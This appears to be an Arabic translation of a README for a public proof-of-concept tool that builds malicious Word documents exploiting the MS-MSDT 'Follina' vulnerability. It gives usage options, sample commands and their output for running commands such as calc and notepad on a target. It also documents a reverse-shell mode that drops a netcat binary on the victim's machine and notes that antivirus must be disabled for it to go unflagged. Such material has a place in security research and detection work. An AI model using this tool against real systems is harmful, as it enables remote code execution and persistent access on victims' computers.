johnhammond/msdt-follinaيُنشئ مستند Microsoft Word خبيثًا يستغل ثغرة MS-MSDT 'Follina' لتنفيذ أوامر عشوائية أو تجهيز حمولات عبر خادم HTTP.
جون هاموند | 30 مايو 2022
أنشئ هجوم MS-MSDT "Follina" باستخدام مستند Microsoft Word خبيث وقم باستضافة الحمولة عبر خادم HTTP.
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: calc)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
تشغيل calc.exe:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
تشغيل notepad.exe:
$ python3 follina.py -c "notepad"
الحصول على قشرة عكسية على المنفذ 9001. ملاحظة: يقوم هذا بتنزيل ملف netcat ثنائي على الجهاز الضحيه ويضعه في C:\Windows\Tasks. لا يقوم بتنظيف الملف الثنائي. سيؤدي هذا إلى إطلاق تنبيهات برنامج مكافحة الفيروسات ما لم يتم تعطيل برنامج مكافحة الفيروسات.
$ python3 follina.py -r 9001
